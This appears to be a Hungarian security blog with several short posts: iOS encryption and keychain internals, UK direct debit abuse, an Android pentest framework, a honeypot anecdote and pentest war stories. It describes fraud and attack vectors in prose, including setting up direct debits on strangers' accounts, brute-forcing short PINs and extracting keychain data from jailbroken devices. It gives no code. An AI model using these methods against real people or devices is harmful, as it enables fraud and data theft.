NOPblog

• Blog oldal
• Archívum
• 

iOS App Security 2. - Titkosítás, fájlrendszer

Mostanában elég sokat túrtam mindenféle iPades meg iPhone-os appokat, és elég sok érdekeset megtudtam/kitaláltam az iOS-es alkalmazások biztonságáról.

A fájlrendszerek titkosítása az a terület, aminek kapcsán rengeteg félinformáció és tévhit kering, még szakmai körökben is.

Tényleg titkosítva van minden fájl az iPhone-okon és iPadeken? Igen.

Tényleg külön kulcs van minden fájlhoz? Tényleg.

Tényleg hardveres AES-t használ a titkosítás? Tényleg, komolyan.

Ezek szerint hátradőlhetünk, hogy király, nem kell többé aggódnunk azon, hogy ellopják az eszközünket, mert a támadó úgyse tud vele mit kezdeni? Nos, nem egészen.

Legelőször is némi törióra. Amikor megjelent az iPhone 3GS kiadása, akkor mutatkozott be az a fícsör, ami igénybe vette az integrált hardveres AES-egységet, effektíve full-disk titkosítást hozva a mobilpiacra. A 3GS esetében azonban kissé kontraintuitív módon nem a biztonság bizalmassági kontrollok javítása volt a cél az AES használatával, hanem az, hogy minél gyorsabban törölni lehessen (illetve használhatatlanná lehessen tenni) az eszközön lévő adatokat. Ez pedig azt jelentette, hogy az egyik partíción megtalálható volt clear text formátumban a másik partíciót nyitó kulcs - no comment. Azóta sok víz lefolyt a Dunán és sok minden változott a világban, de az iPhone-okban (és újabban az iPadeken) lévő AES titkosítóegység maradt és köszöni szépen, jól van és az iOS4-es kiadásával már valóban titkosítási célokat szolgál.

Mindennek az alapja a hardver, ami esetünkben egy kutyaközönséges NAND tároló, aminek a mérete változik attól függően, hogy mennyi memóriával rendelkező modellt emeljük le a polcról a boltban. Ez tartalmazza az eszközön tárolt adatokat, azonban maga a fájlrendszer csak egy szegmens a sok közül.

1. BOOT szegmens. Az Apple alacsony szintű bootloaderét tartalmazza.
2. PLOG szegmens. Ez a szegmens elsősorban kriptográfiai kulcsokat, keybageket és ilyesmiket tárol. Három fontos kulcs lakik itt: BAGI, Dkey és az EMF! kulcs. Wipe során ezt a területet küldjük meg napalmmal. Tároli tt az eszköz egy security időpecsétet is, ami biztosítja, hogy ne lehessen downgrade-elni (ha valaki pl. próbálta iOS4-ről visszagyógyítani 3-asra az eszközét és úgy tűnt, hogy brickelte, sok esetben visszahozhatja, ha ezt a területet matatja megfelelő céleszközzel).
3. NVM. Az NVRAM paramétereit tároljuk itt.
4. FIRM. Itt lakik a firmware, a második lépcsős bootloader és az az almás logó, amiben boot alkalmával gyönyörködhetünk.
5. FSYS. Ez maga a titkosított fájlrendszer az ő két partíciójával (ugye az egyik read-only alapból és az oprendszert tartalmazza, míg a másikra lehet zenéket meg fotókat másolni és a telepített appok is ott laknak).
6. RSRV. A NAND tároló utolsó pár blokkját nem lehet se írni, se olvasni.

Igen, valóban titkosított minden fájl a fájlrendszerben. A tényleges kriptográfiai motor eléggé bonyolult, nem is írom le minden részét (pl. alapból minden fájlhoz nem egy, hanem két kulcs tartozik az egyszerű wipe-olhatóság biztosítására), de az alapokat egyszerűen el lehet mondani. Akit részleteiben érdekel a dolog, az ide kattintson.

Mielőtt agyhúgykövet kaptok a továbbiaktól, nagyon fontos észben tartani, hogy a fájlrendszer titkosítása alapvetően arra lett kitalálva, hogy ha az eszközből kiforrasztják a NAND tárolót és olvasni próbálják, ne tudjanak mit kezdeni vele, plusz triviálisan lehessen, minimális írással wipe-olni. Amikor a cucc áram alatt van és még az iOS is fut, a lent leírt dolgok teljesen transzparensek felhasználói szempontból és sok esetben fejlesztőileg is.

Az első fontos dolog, amiről beszélni kell, az az, hogy a fájlok között védelmi szempontból különböző csoportok léteznek, a hivatalos terminológiában ezeket a csoportokat Protection Classoknak hívják. A nevek ismerősek lehetnek a keychaines felsorolásból, ami nem véletlen, ugyanis pontosan ugyanarra a logikára működik ez is.

Alapból mindenki külön AES-kulccsal van titkosítva és ha törlünk egy fájlt, akkor a hozzá tartozó kulcsot eltávolítjuk a kulcstárból. (Ez egyébként zseniális megoldás, ugyanis a fájlhoz tartozó NAND-területet nem kell ilyenkor matatni, urambocsá' felülírni, ugyanis a NAND fizikai tulajdonságai miatt meglepően kevés alkalommal újraírható technológia.) Az egy Protection Classhoz tartozó fájlok kulcsai egy-egy közös master kulccsal vannak titkosítva, és az oprendszer ezeket a master kulcsokat a Classnak megfelelő módon kezeli. A master kulcsok egy keybag nevű csodában laknak a PLOG szegmensben, szintén titkosítva. Mik ezek a classok?

• NSFileProtectionNone: Azok a fájlok, amik igazából nem védettek, csak látszólag. A hozzájuk tartozó master kulcs az eszköz fizikai azonosítójából és egy pár jól definiált paraméterből származik, a támadó az eszközhöz fizikailag hozzáférve ki tudja számolni ezt a kulcsot, de ha sikerül felbootolnia az iOS-t, akkor az API hívások plain-textben adják vissza a fájlok tartalmát. Az eszközön lévő dolgok 99%-a ilyen - alapból csak a júzer mailboxához tartozó lokális cache nem tartozik ide.
• NSFileProtectionComplete: Amikor az eszköz le van csukva (azaz a júzer nem tudja toszogálni az ikonokat a képernyőn), ezek a fájlok is el vannak engedve. A hozzájuk tartozó master kulcsot a júzer PIN-jéből/jelszavából származtatjuk, akárcsak a keychainnél és amíg sötét a képernyő, a memóriában sincs példány a kulcsból - elvileg.
• NSFileProtectionCompleteUnlessOpen: a fájl alapból be van csukva boot után egészen addig, amíg de nem kriptálják (ugye az igekötő :-P), és utána is csak akkor elérhető a tartalma, ha nyitva van az eszköz.
• NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication: a fájl alapból be van csukva boot után, de az első alkalommal, amikor a júzer kioldja a PIN-zárat, kinyílk és újraindításig nyitva is marad írásra (azaz becache-eli az oprendszer a hozzájuk tartozó írási kulcsot), viszont olvasni csak akkor lehet ezután, ha ki van nyitva az eszköz. További perverzióként az ide tartozó fájlok aszimmetrikus kripóval vannak titkosítva, és kulcspár tartozik hozzájuk.

A PLOG tárolón lévő három kulcsról ígértem még infót az előbb. Az EMF kulcs szükséges ahhoz, hogy bármit tudjunk csinálni az eszközön, azaz egy fájl feloldásához szükséges az EMF kulcs is, függetlenül attól, hogy melyik Protection Classba tartozik. Ezt a kulcsot használjuk a HFS journal titkosítására is - ha ezt a kulcsot megküldjük napalmmal, akkor az egész fájlrendszer nyithatatlan, effektíve szemét. A BAGI kulcs a system kulccsal titkosított fájlok kulcsainak kulcsa, míg a Dkey a NSFileProtectionNone Classba tartozó fájlokat nyitja.

Hogy áll ez az egész össze? Amikor bekapcsoljuk az eszközt és felbootol az iOS, egyedül az NSFileProtectionNone Classba tartozó fájlokhoz rendelt Dkey kulcs nyitható (illetve kiolvasható a NAND tárolóról), a többi Protection Classhoz tartozó fájlok megnyitásakor hibát kapunk. A többihez a júzernek legalább egyszer fel kell oldania az iOS screen lockot a PIN kódjával - amikor megteszi, a PIN-ből turbóznak egy AES-kulcsot, ami kinyitja a többi három Classhoz tartozó keybaget. A NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication fájlokhoz tartozó írási kulcsot is becache-eli az oprendszer (lévén ugye innentől már kikapcsolásig írhatóak az ide tartozó fájlok). A júzer nyomogat-húzogat, az appok nyitogatják a fájlokat az iOS API-n keresztül és olvassák-írják őket. A júzer egyszer csak abbahagyja a nyomogatást és lecsukja az eszközt (vagy lejár a screen timeout), ekkor elfelejtjük a PIN-ből derivált AES-kulcsot, a NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication osztályú fájlok olvasási kulcsát és a NSFileProtectionCompleteUnlessOpen fájlok szimmetrikus kulcsát. Amikor le van csukva az eszköz, NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication osztályú fájlokat lehet írni a becache-elt írási kulccsal, de olvasni őket nem lehet (nincs ugye meg a megfelelő kulcs) - plusz ugye a NSFileProtectionNone osztályú fájlokkal bármit lehet csinálni, benne van a memóriában a Dkey. Egyszerű, nem?

A fenti rész kicsit kusza lehet egy olvasásra - ha tényleg mélyen érdekel a kulcskezelés, olvass bele ebbe a doksiba a 19.oldal környékén és szörnyülködj a hajtogatnivaló kriptográfiai ábrákon.

És most mi van, jöhet a kérdés. Hol van a szar a palacsintában?

Megmondom.

1. A fájlok titkosításához használt kulcsok közül a legtöbb fájlhoz tartozó master kulcs kitalálható (NSFileProtectionNone).
2. Ha már fut az iOS, a titkosítási móka 99%-a teljesen transzparens. Minden külön védelmet nem kapott fájlhoz hozzáférünk egy USB kábelen keresztül, tulajdonképpen semmi jelentősége annak, hogy maguk a fájlok fizikai szinten titkosítva vannak. Az iExplorer nevű csodával a telepített appok által írt fájlokat is matatni lehet, nem csak a "publikus" részét a fájlrendszernek.
3. A keybageket a PLOG szegmensben tároljuk, emiatt ha valaki ehhez hozzáfér, ki tudja nyerni az egyes fájlokat nyitó kulcsokat. Egyedül az Apple bizalmi lánca akadályozza meg,  hogy olyan app kerüljön ki az AppStore-ba, ami ezt megteszi. Ha jailbreakelt az eszköz, akkor lehet rá dd-t is tenni, innét meg ugye reszeltek az eldugott szegmensekben lévő adatok bizalmasságának.
4. Ami titkosítás ér is valamit, az a júzer PIN-jén/jelszaván múlik. Erről többet nem is mondanék: az alap négyjegyű PIN alig húsz perc alatt feltörhető.
5. A HFS naplóz és ez totál szívás wipe szempontjából. Amikor az iOS töröl egy fájlt, az általa elfoglalt területet írhatóvá nyilvánítja és a metaadatok közül kitörli (végleg) az egyedi EMF-fel titkosított AES-kulcsát. Idáig jó a dolog, ugyanis enélkül a kulcs nélkül esélytelenek vagyunk kiniytni a fájlt - csakhogy ugye ott van az a fránya HFS, ami rögzíti a törölt metaadatokat, így a törölt AES-kulcsot is. A HFS journal pedig az EMF kulccsal van titkosítva, amit meg ugye ismerünk, vagy legalábbis az oprendszerből kinyerhető - erre mondják polkorrekten, hogy hát, van még fejlődési potenciál a dologban, de az irány jó.

iOS App Security 1. - A keychain

Mostanában elég sokat túrtam mindenféle iPades meg iPhone-os appokat, és elég sok érdekeset megtudtam/kitaláltam az iOS-es alkalmazások biztonságáról.

A keychain az a témakör, amivel kapcsolatban sok esetben még a tapasztalt iOS-es fejlesztők sincsenek teljesen képben. Ez egyrészt betudható annak, hogy az Apple igencsak csínján bánik a fejlesztőknek szóló, biztonságról szóló dokumentációval, pedig találni egy-két érdemi whitepapert és konferenciaelőadást, meg pár könyvet a témában.

Kezdjük az alapokkal. A keychain egy védett tároló, amit oprendszerszintű kontrollok védenek és arra szolgál, hogy mindenféle védendő adatot aggassanak rá. Egyrészt használja maga az iOS is pl. a wifi kulcsok tárolására, de az utólag telepített alkalmazások is pakolhatnak rá. A megtervezésekor követett alapgondolat az volt, hogy titkosítottan történik az adatok tárolása és csak a megfelelően feljogosított alkalmazások olvashatják ki a saját maguk által felpakolt adatokat, illetve azokat, amikhez hozzáférhetnek.

A keychain API (a Data Protection API része) egy sereg lehetőséget és beállítást biztosít arra, hogy milyen módon korlátozzák a fejlesztők a kulcsok és a ráaggatott kulcsok használhatóságát. Például:

• kSecAttrAccessibleAlways: az adott kulcs mindig elérhető
• kSecAttrAccessibleWhenUnlocked: az adott kulcs csak akkor elérhető, ha az eszközön fel van oldva a screen lock
• kSecAttrAccessibleAfterFirstUnlock: a kulcs akkor érhető csak el, ha az eszköz bekapcsolása óta legalább egyszer feloldották a screen lockot. Az ellen jelent némi védelmet, hogy a támadó újraindítja az eszközt és úgy próbál cigánykodni
• Mindezek mellé még betehető a ThisDeviceOnly kitétel az egyes attribútumok végére (Apple API nomenklatúra FTW), ami annyit jelent, hogy a keychain adott bejegyzése nem hagyhatja el az eszközt, nem migrálható másik eszközre. Pl. kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly.

Hogy azonosítják magukat az alkalmazások az iOS számára? Mi van akkor, ha új verziót küldtünk ki a marketre, aminek el kéne érnie a régi által odapakolt kulcsokat? A megoldás nagyon (már-már arcpirítóan) egyszerű: az alkalmazásokhoz tartozó Provisioning Profile-ban van benne azon kulcsok listája, amikhez az alkalmazás hozzáférhet. Például:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>hu.Whatever.BlahApp</string>
<key>get-task-allow</key>
<true/>
<key>keychain-access-group</key>
<array>
<string>hu.Whatever.BlahApp</string>
</array>
</dict>
</plist>

A keychaint nem érdemes nagyon túlmisztifikálni: egy tök mezei sqlite3 adatbázisról van szó, ami a /var/Keychains könyvtárban lakik. Ami a titkosítást illeti, a tényleges titkosító kulcs a felhasználó PIN-jéből/jelszavából jön és ha nincs beállítva ilyen, akkor ismert és statikus. Amikor mentést készítünk az eszközről, a keychain tartalma kis kiíródik, de titkosítva ezzel a kulccsal. Jailbreakelt eszköznél hozzá lehet férni magához az sqlite adatbázishoz fájlszinten is.

Érdemes megjegyezni, hogy a keychain tartalma nem része a telepítési csomagnak, azaz amikor az app felkúszik egy szűz eszközre, az általa használt keychain az első indításig mindenképpen üres lesz. Sőt, ha átvisszük a telepítőt egy másik eszközre, akkor a keychain tartalma marad a helyén a régi eszközön. Ezt érdemes észben tartani, amikor kulcsok meglétét (és tartalmát) ellenőrizzük és például jelszóhash-t tárolunk bennük.

Ami fontos:

1. A keychain nem nyújt védelmet, ha az eszköz jailbreakelt. Itt a tool, amivel ki lehet nyerni mindent.
2. A keychain nem ér semmit, ha nincs PIN vagy ha gyenge.

Csopibeszi brit módra

Vannak pillanatok, amikor elcsodálkozom a brit bankrendszer biztonsági vonatkozásainak naivitásán. Volt már szó régebben arról, hogy mennyire hektikusan állnak a bankok az ATM-es visszaélésekhez és ne felejtsük el, hogy ebben az országban a smartcardok korában a személyi csekkek intézménye még mindig létező fogalom. Vagy mondhatnám azt is, hogy errefelé nem lehet egy csomó banknál SMS-es értesítést kérni, ha használják a kártyádat pl. netes vásárlásra.

No meg itt van a mai kedvencem, a direct debit intézménye, ami rengeteg sebből vérzik, mert a funkcionalitás könnyűségét itt minden elé helyezik. Nagyjából ugyanazt tudja, mint a Magyarországon megszokott csoportos beszedés (alias csopibeszi), néhány apró, ám annál jelentősebb különbséggel.

Egyrészt ahhoz, hogy elinduljon a körhinta, Nagy-Britanniában te, a számlatulajdonos nem kellesz. Jön a beszedő cég és küld a bankodnak egy üzenetet, hogy helló, az X sort kódú és Y brach kódú számlát Gipsz Jakab nevére szeretném beterhelni havi Z fonttal. A bank pedig azt mondja, hogy oké, tessék, már indul is a móka, elkezdik vonogatni a számládról a dolgot. Magyarországon a GIRO oldalán lévő szabályzat szerint a terhelt számla tulajdonosának kell felhatalmaznia a csoportos beszedési tranzakciót.

Ezek az információk nem titkosak. A nevedet nyilván triviális megtudni, a sort code meg a brach kód (mindenhol ebből a kettőből áll a bankszámlaszám, csak itt külön kezelik őket) ha nem is publikus, de semmiképp sem titkos: rá van írva a villanyszámla összesítőjére, plusz megadod bárkinek, aki pénzt akar neked utalni.

Jogos a kérdés, hogy mi történik, ha valaki jogosulatlanul rendel pl. netet egy random, de létező címre egy random, de létező bankszámla alapján. A netelőfizetést nem véletlenül hoztam példaként: a British Telecommal simán köthet bárki szerződést személyes megjelenés nélkül is, pusztán azzal, hogy egy utcai telefonfülkéből felhívja a BT ügyfélszolgálatát. Felejtsd el, hogy lefénymásolják a személyidet, vagy hogy hajléktalanoktól kell kicsalnod az irataikat borral, ha ingyen netet akarsz: összesen egy sort kód, egy név és egy branch kód kell meg egy piros nyilvános telefonfülke. Oké, oké: a netelőfizetés eléggé helyhez kötött dolog és ha csalással köttettél be otthonra netet, akkor nettó hülye vagy, de tekintve, hogy a direct debit itt annyira elterjedt, hogy még a falmászóhelyen is azzal fizetem a tagdíjat és nem kérnek hozzá semmilyen azonosító iratot vagy bankkártyát,  végtelen visszaélési potenciál van a dologban.

Egy kontroll van a folyamatban: ha a kedvesügyfél jelzi, hogy csalással rakták rá a direct debitet a számlájára, akkor elvileg kérdés nélkül visszaadják a levett összeget. És itt már el is érkeztünk a következő csalási vektorhoz: a banknak esélye sincs bebizonyítani vagy kideríteni, hogy valóban csalás történt-e vagy a kedvesügyfél éppen így jut extra bevételhez a haver "jótékonysági" alapítványán keresztül. A bank ugyanis azt tudja, hogy melyik beszedőtől jött  az igény, de az már a beszedőn múlik, hogy hogy tartja nyilván az ügyfeleit. Ja, hogy Gipsz Jakab havi adománya csalás? Óh. Sajnos telefonon jött a felajánlás és csak egy utcai telefonfülke száma van meg, meg egy eltorzított hang, sajnáljuk, igazán.

A kedvenc történetem Jeremy Clarksonhoz kapcsolódik: önjelölt IT-biztonsági szakértőként ("But seriously, how hard can it be?") értelmetlennek ítélte a 2007-es pánikot, ami azt a botrányt kísérte, amikor Őfelsége Adóhivatala elveszítette pármillió adózó személyes adatait. Semmiség, igazán, ezért aztán igazán fölösleges pánikolni, mondta a Clarkson és ennek illusztrálására publikálta a brit zsurnalisztika egyik Kilimandzsárójában, a The Sunban a személyes adatait és a bankszámlaszámát, mondván hogy úgyse tudják semmire használni őket. (Kis háztáji borzongás kedvéért képzeljük el, hogy mondjuk Hajdu Péter megjelenteti ugyanezt a Blikkben.) Aztán lett is nagy meglepődés, amikor megkapta a havi bankszámlaösszesítőt, ugyanis tudtán kívül adakozott havi ötszáz fontot egy cukorbetegeket segítő alapítványnak. A magam részéről nagyon szeretem a tanulságokat, ennek a sztorinak a tanulsága pedig az, hogy "Jegyezzétek meg jól, gyerekek! Aki hülye, nem kap fagyit!"

User-agent: MS-Excel

Próbáltátok már proxyval figyelni, hogy mi történik, ha Internet Explorerből letöltötök egy excel fájlt és ezt az excel megnyitja?

Nem, nem az történik, hogy az IE legórja egy tmp fájlba a jóságot, az excel meg megnyitja. Ez barátaim, ami ilyenkor a dróton közlekedik, igazi varázslat olyan gyönyörű dolgokkal, hogy "Microsoft Data Access Internet Publishing Provider Protocol Discovery" meg "POST /_vti_bin/shtml.exe/_vti_rpc",Nézzétek meg házi feladatként.

Elképesztő :)

Könyvajánló - Social Engineering, The Art of Human Hacking

Amikor először vettem túrabakancsot, fogalmam sem volt, hogy mire számítsak. Igen, az megvolt, hogy alapvetően túrázni lehet benne, de hogy mi a második lépés azután, hogy megvettem és a harmadik a folyamatban a profit - na, arról lövésem se volt. Tél eleje volt, még a szakadó esős fajta, a hó csak később jött. Azért vettem a bakancsot, hogy majd milyen jó lesz kistraktorként gázolni a latyakban, pofánröhögve mindenkit, aki kerülgetni kényszerül a pocsolyákat.

Egy hétig bírtam, aztán félredobtam a sáros bakancsot a sarokba. Elkezdett fájni a térdem benne pár nap után, aztán ugye eleinte betudtam annak, hogy meg kell szokni, de aztán csak nem múlt el a dolog, csak fájt-fájdogált esténként és egy hét után lett elég belőle.

Aztán rájöttem, hogy mi az értelme ennek a bakancsnak: illetve hogy mi nem, ami talán még fontosabb. A bakancs zseniális találmány, de nem aszfaltra való, mert a talpa erdei talajon faszán kapaszkodik, a kavicsos úton csak úgy szárnyalok benne, de az aszfalt az lassan-lassan elkezdi rezgésekkel bombázni a térdemet, ami egy idő után megfájdul. Megvan a helye a bakancsnak, és ez a túrázás és addig, amíg tök másra akartam használni, mint amire való, nyögés volt és fájás meg hiszti. Egyszerűen nem ment.

Pontosan így éreztem magam, amikor először a kezembe került Christopher Hadnagy Social Engineering című könyve. Láttam a csóka egy előadását, és amikor megemlítette, hogy van könyve is, kikerestem a céges e-könyvtárból, fogtam egy kávét és nekiültem az olvasásnak. Arra számítottam, hogy olyasmi lesz, mint a Mitnick-féle Art of Deception temérdek sztorival, csínján jövő elmélettel és sok-sok olyan pillanattal, amikor mosolyogva állapítom meg, hogy ez bizony nekem is menne, csak próbálni kellene. Vagy mondjuk valami annyira inspirálóra számítottam, mint Johnny Long előadása a defconon és a No-Tech Hacking című könyve. Nem láttad az előadást? Azonnal megnézed!

És hát szó-szó. Vannak benne történetek, meg hűbazmeg-pillanatok, de a szöveg jelentős része meglehetősen száraz összefoglalása annak az eszköztárnak, amit egy social engineering meló során használunk. Félre is tettem egy fél óra után, mert egyszerűen ledobta az agyam az ékszíjat a kommunikációs modellek pszichológiai értelmezéséről szóló résznél.

Aztán rájöttem, hogy hol rontottam el és megrendeltem Amazonról papíron. Ugyanis ez a könyv tankönyv. Nem azért íródott, hogy szórakoztasson vagy hogy fel tudjál tankolni fasza social engineering-történetekből, hanem hogy aprólékosan végigvezessen az eszköztáron. Ez a könyv a hekkelésről szól, de nem összerakott történeteket ír egymás után (arra ott van a már említett Mitnick-féle könyv és a How To Own a Continent), hanem bizony elmagyarázza, hogy az nmap melyik kapcsolója mire jó, és ez bizony rohadtul unalmas, ha nem ennek megfelelően közelítesz hozzá. Sajnos viszont enélkül csak szkriptsuttyó leszel...

Imádom a túrabakancsomat - az ismerkedési folyamatot az rontotta el, hogy nem megfelelően közelítettünk egymáshoz. Így, hogy már tudom, mire való, messzire megyünk.

Behiganyozott kisrobot

Múlt kedden voltam egy sörözésen előadáson a dc4420-on, az aktuális tech talkot pedig Nils tartotta az MWR-tól. Nilsék kiadtak múlt hétfőn egy penetration testing frameworkot Androidra, az előadás pedig a Mecrury bemutatása és demója volt. A Mercuryval jelenleg nem sok minden olyat lehet tenni, amit az eddigi szkriptekkel ne lehetett volna - az igazi truváj az, hogy az egész alá rántottak a srácok egy egységes és működő API-t, ami alapján elég egyszerű új modulokat meg szkripteket gyártani.

Az Android biztonsági architektúrája egyébként eléggé átgondolt úgy egészében, de van egy csomó dolog, ami nem triviális elsőre és emiatt elég komoly meglepetésekben lehet részük a pentest riportot kézhez kapó fejlesztőknek. Például elméletben semmilyen módon nem sérti az Android biztonsági policyját az, hogy egy gonosz alkalmazás, aminek egyedül Full Internet Access joga van, szép csendben fellője az egész SD-kártyát valahová - alapból ugyanis minden app hozzáfér olvasási joggal az SD-kártyához.

A framework azt a szkenáriót vizsgálja, amikor egy alacsony jogosultsági szintű, de gonosz alkalmazás mindenféle módon abúzálni próbálja a divájszon lévő többi alkalmazást. Két része van: egyrészt van egy apk-ba forgatott szerverkomponens, amit egy pythonban megírt parancssori klienssel lehet betámadni. A modulokat is pythonban lehet hozzápasszítani, a meglévők alapján elég egyszerűen.

A Mercury-t nyomogatva a saját telómon az a határozott érzésem támadt, hogy most vagyunk az androidos biztonság aranykorában: bonyolult, új a technológia, a security through obscurity-t sokan működő dolognak gondolják és a kriptográfiai eszközpark használata is khm... mondjuk, hogy érdekes és egyéni.

A Mercury-ban az a zseniális, hogy minden alkalmazásbelépési pontot (broadcast, activity, content provider, service) képes pingetni olyan paraméterekkel és inputokkal, amikkel a tesztelő szeretné. Sőt tud olyat is, hogy a tesztelt alkalmazáshoz tartozó apk-t lerántva és a dex-ből visszaforgatott forrást végigtúrva kibányássza a nem publikált, ún. "titkos" providereket meg szolgáltatásokat is - na, azokban vannak az igazi finomságok.

Én pl. a telómon lévő MIUI-n rájöttem mintegy tizenöt percnyi nintendózással, hogy:

1. Az Amazon androidos appja simán megmondja a júzerneved és jelszavad, ha kérdezed
2. A MIUI zenelejátszója által publikált szolgáltatások támadhatók sql injectionnel
3. A Viber simán futtatható debug módban
4. Egy Full Internet Access jogosultságokkal futó app is meg tudja kérdezni az IMSI-t és az IMEI-t, az operátort és az országot, a telefon típusát  (és pl. elküldeni a netre).

A kész cuccot leránthatjátok innét: http://labs.mwrinfosecurity.com/tools/2012/03/16/mercury/.

De most komolyan, inkább igyál. Tényleg.

A walesi kollégám röhögve mutatta reggel, hogy mit fogott a honeypotja szombat éjjel. Végigfutottam a logokon, aztán már ketten röhögtünk. Odajött Dave is, hogy mit röhögünk így ketten. Megmutattuk neki, aztán már hárman röhögtünk tovább.

A honeypot igazán aljas: root/1234567 az SSH júzernév-jelszó páros (Myles elmagyarázta, hogy miért nem root/123456: "You know that 7 in the end is there because many password list don't have 1234567. Therefore, they have to mangle a list, meaning that only the lesser idiots can pwn it."), és bármit gépelnek a hashmark mögé, megjegyezzük. Visszanézni meg garantált szórakozás az egész családnak.

Myles azért rakta ki a honeypotot, mert mindenféle advanced rootkitekre, újabbnál újabb mocsok jó eszközökre számított, de annyit mondott, hogy amit idáig megfogott, az alapján tök fölöslegesen fél attól, hogy lemarad a "szakmától".

Szóval, a l33t h4x0r csóka egy bukaresti ADSL-ről érkezett a műsorba és amit művelt, az alapján simán elhiszem, hogy tényleg ez az IP-címe. Wget-tel letöltött egy ingyenes román tárhelyszolgáltatótól egy pár szkriptet, amik további ssh brute forcingot művelnek - megpróbálta elindítani őket, de mindenféle hibával elszállt a történet és végül is kilépett. Khm. Amit meg otthagyott a /root/-ban, azt meg köszöntem szépen ugye... mindenesetre az igazi nagy kegyelemdöfés az volt, amikor átfutottuk a feltöltött fájlokat és fogtuk a fejünket.

A srác felgórta nemcsak a szkripteket, hanem a saját feljegyzéseit is, amik ugyanabban a könyvtárban voltak: egy pwn.lol fájlban egy nagy zsák IP/port/júzernév/jelszó (gondolom a korábbi trófeák), létező ssh szerverekhez, plusz egy e-mailből kivágott részlet, amiben elmagyarázta egy kis pajtása a nagyreményű hax0rnak, hogy mit gépeljen hová.

Minderre román helyi idő szerint szombat éjjel fél tizenkettőkor kerített sort.  Tényleg, komám, most komolyan: inkább mentél volna el inni, a West Brom játszott például a Newcastle-lel akkor este. Mennyivel jobb lett volna már mindenkinek.

iptables, az.

Múlt héten volt egy melónk egy khm... meglehetősen nem biztonságtudatos üzemeltetőket alkalmazó megrendelőnél. A helyzet súlyosságának érzékeltetésére elég annyit mondani, hogy volt telnet, a private SNMPv1 community string az volt, hogy (igen, az) és hogy a jelentésben terjedelmi okok miatt  egyetlen nagy critical issue-ba foglaltuk az infrastruktúrát érintő dolgokat, ami így szólt: "Complete lack of hardening or network level restriction on mission critical infrastructure".

Megkapták a srácok a riportot és amikor minket (a tesztelőket) kérdezték, hogy na akkor most mégis melyik szolgáltatást lőjék le a szervereken, válaszul elküldtük nekik az nmap kimeneteket és a Nessus logriportjait. Hosszú-hosszú napokig nem kaptunk választ.

Hanem ma, pénteken ebéd után jelentkeztek (egészen pontosan egy Rajeesh Shudakar Kartekijan nevű pokémon), hogy tanárnőkéreménkészültem, lehet ellenőrizni az infrastruktúrát. Ráküldtük megint az nmapot és háááááát... szó-szó. Valóban nem látszik egy-két portmapper meg FTP szerver, de a siralomvölgyet csak nem sikerült eltakarítani a szerverteremből.

Írtunk vissza nekik, hogy "elbasztátok, de orbitális fostos ergyamód" "despite the visible efforts of the infrastructure team, several potentially dangerous service are still accessible from the testing network endpoint and the necessary level of service hardening has not yet been achieved". Nemrég beszéltem is velük - kiderült, hogy mi okozta a problémát. Elfelejtették (!) berakni a crontabba a szervereken (!!) az iptables szabályokat (!!) tartalmazó shellszkripteket (!!!).

Ez egy világméretű pénzintézet kritikus tranzakciókezelő rendszerének back-end infrastruktúrája. Póvered báj iptables.

Hogyan installálsz új certificate authority-t az iPadre? - frissítve

Na, hogy? Nincs beépített CA listát kezelgető utility. Nem lehet csak úgy fájlt küldeni, hogy majd ott kezdesz vele valamit a divájszon. Hiába szinkronizálsz iTunes-szal, a cert store nem megy át, így hiába bízig a macbookod ájulásig a CA-dban, az iPadre nem megy át. Bluetooth-on nem tudod átküldeni, mert ez az istencsapása audió divájszként, távirányítóként meg édesanyámtudjamégmiként azonosítja magát, de OBEX push az véletlenül sincs.

A hivatalos megoldás az, hogy az iPhone Configuration Utility-vel meg profilokkal kell varázsolni, de a épp nincs kéznél, akkor eléggé meg vagy lőve. Na akkor hogy?

Így.

1. Elküldöd magadnak ímélben a .crt fájlt.

2. A Maillel megnézed a levelet.

3. Ráütsz az attachra, és amikor elindul a certificate viewer, akkor már van olyan opciód, hogy installálod CA-ként.

4. Profit.

Update2:

O javaslatára a mail alkalmazással kipróbáltam és működik. Köszönöm neki ezúton is, a leírást frissítem.

Vakok, félszeműek és királyok

David, a holland kollégám mesélt egy sztorit a hajnali kávé fölött pár napja. Akkoriban még Hollandiában dolgozott egy tanácsadócégnek és volt egy ilyen jótékonysági akciójuk, hogy iskolák, kórházak meg ilyenek vehettek tanácsadói embernapokat jelképes összegekért (mondjuk egy ajró per ember per nap áron full IT biztonsági auditot).

Az egyik legérdekesebb ilyen melójuk egy olyan bentlakásos iskola auditja volt, ahová szinte kizárólag súlyosan látássérült gyerekek jártak és a tanároknak is csak egy kis része volt látó. "Elképesztő volt a gépterem: volt ott vagy harminc-negyven munkaállomás és összesen tíz darab monitor! Vicces volt, mert nekünk ugye kellett a monitor, hogy dolgozni kezdhessünk és még mi éreztük magunkat rosszul, hogy olyan speciális igényeink vannak, amire a vakoknak ("you know, normal people") nincs szükségük és most miattunk forgatják fel a géptermet működő monitorokért..."

És amikor nekiálltak nézelődni a hálózaton meg pár alap tesztet lefuttatni az infrastruktúrán, a szavuk is elállt: gyakorlatilag nem volt az intézmény területén olyan szerver, munkaállomás vagy hálózati eszköz(!), ami ne lett volna rootra/Local Systemre törve. A vak srácok gyakorlatilag mindent megtörtek hangvezérléssel, ami a kezük ügyébe került, plusz még az intézményközi hálózatba is belekukkantottak - az üzemeltetés pedig mindebből semmit sem vett észre. Szerintem fel se merült bennük, hogy ezek a vak kiscsókák bármit tudnának kezdeni haxolás témakörben.

David lehajtotta a kávéja végét, és annyit mondott:

"Never underestimate anyone based on anything, even if it seems so obvious."

A FIPS140 nem minden

A sessionazonosítók meg XSRF-tokenek statisztikai vizsgálata mindig is hálás témakör volt. Tesztelési szempontból mindenképp félkezes feladat - az ember fogja az új tokent generáló HTTP-kérést, beküldi a burp sequencerébe (vagy ír rá saját szkriptet, ha nem ennyire kezes a mechanizmus), kipörget pártízezer új tokent, ráengedi a statisztikai elemzőt és aztán nézegeti a kijövő színes grafikonokat. Sima ügy, a FIPS140-en átment, pipa a metodológia "statistical analyisis of session identifying artifacts" dobozába. Kérem a következőt.

